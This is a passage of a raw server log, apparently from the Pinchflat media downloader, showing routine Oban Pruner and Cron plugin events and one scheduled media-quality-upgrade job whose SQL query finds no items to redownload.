{"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:47.503 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.819 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:37:17.504 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:47.505 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.820 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:38:17.507 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:47.508 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.821 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:39:17.509 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:47.510 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.822 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:40:17.511 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:47.512 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.823 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:41:17.513 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:47.514 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.824 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:42:17.515 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:47.517 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.825 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:43:17.518 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:47.519 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.826 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:44:17.520 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:47.521 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.827 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:45:17.523 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:47.524 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.828 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:46:17.525 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:47.526 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.829 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:47:17.528 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:47.529 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.830 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:48:17.530 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:47.531 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.831 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:49:17.533 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:47.535 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.832 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:50:17.537 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:47.538 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.833 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:51:17.540 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:47.541 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.834 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:52:17.542 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:47.543 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.835 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:53:17.543 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:47.545 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.836 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:54:17.546 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:47.548 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.837 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:55:17.549 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:47.550 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.838 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:56:17.551 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:47.552 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.839 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:57:17.553 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:47.554 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.840 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:58:17.555 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:47.556 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.841 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:59:17.557 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:47.558 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.843 [info] {"source":"oban","duration":1291,"event":"plugin:stop","jobs":[1710],"plugin":"Oban.Plugins.Cron"} 22:00:00.850 [info] {"args":{},"id":1710,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1774836000850269615,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:00.862 [debug] QUERY OK source="media_items" db=11.5ms idle=160.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:00:00.862 [info] Redownloading 0 media items 22:00:00.862 [info] {"args":{},"id":1710,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":12045,"event":"job:stop","queue_time":849465,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:17.559 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:47.560 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.844 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:01:17.561 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:47.562 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.845 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:02:17.563 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:47.564 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.846 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:03:17.565 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:47.566 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.847 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:04:17.567 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:47.568 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.848 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:05:17.569 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:47.571 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.849 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:06:17.573 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:47.575 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.850 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:07:17.576 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:47.577 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.851 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:08:17.578 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:47.579 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.852 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:09:17.580 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:47.581 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.853 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:10:17.582 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:47.583 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.854 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:11:17.584 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:47.585 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.855 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:12:17.586 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:47.588 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.856 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:13:17.590 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:47.591 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.858 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:14:17.592 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:47.594 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.858 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:15:17.595 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:47.596 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.859 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:16:17.597 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:47.599 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.860 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:17:17.600 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:47.602 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.861 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:18:17.603 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:47.604 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.862 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:19:17.605 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:47.606 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.863 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:20:17.607 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:47.608 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.864 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:21:17.609 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:47.611 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.865 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:22:17.612 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:47.613 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.866 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:23:17.614 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:47.615 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.867 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:24:17.616 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:47.617 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.868 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:25:17.619 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:47.620 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.869 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:26:17.621 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:47.622 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.870 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:27:17.623 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:47.624 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.871 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:28:17.625 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:47.627 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.872 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:29:17.628 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:47.629 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.873 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:30:17.630 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:47.631 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.874 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:31:17.632 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:47.633 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.875 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:32:17.634 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:47.635 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.876 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:33:17.636 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:47.637 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.877 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:34:17.639 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:47.640 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.878 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:35:17.641 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:47.642 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.879 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:36:17.643 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:47.644 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.880 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:37:17.645 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:47.646 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.881 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:38:17.647 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:47.648 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.882 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:39:17.649 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:47.650 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.883 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:40:17.651 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:47.653 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.884 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:41:17.655 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:47.656 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.885 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:42:17.657 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:47.658 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.886 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:43:17.659 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:47.660 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.887 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:44:17.661 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:47.663 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.888 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:45:17.664 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:47.665 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.889 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:46:17.667 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:47.669 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.890 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:47:17.671 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:47.672 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.891 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:48:17.673 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:47.675 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.892 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:49:17.676 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:47.678 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.893 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:50:17.680 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:47.682 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.894 [info] 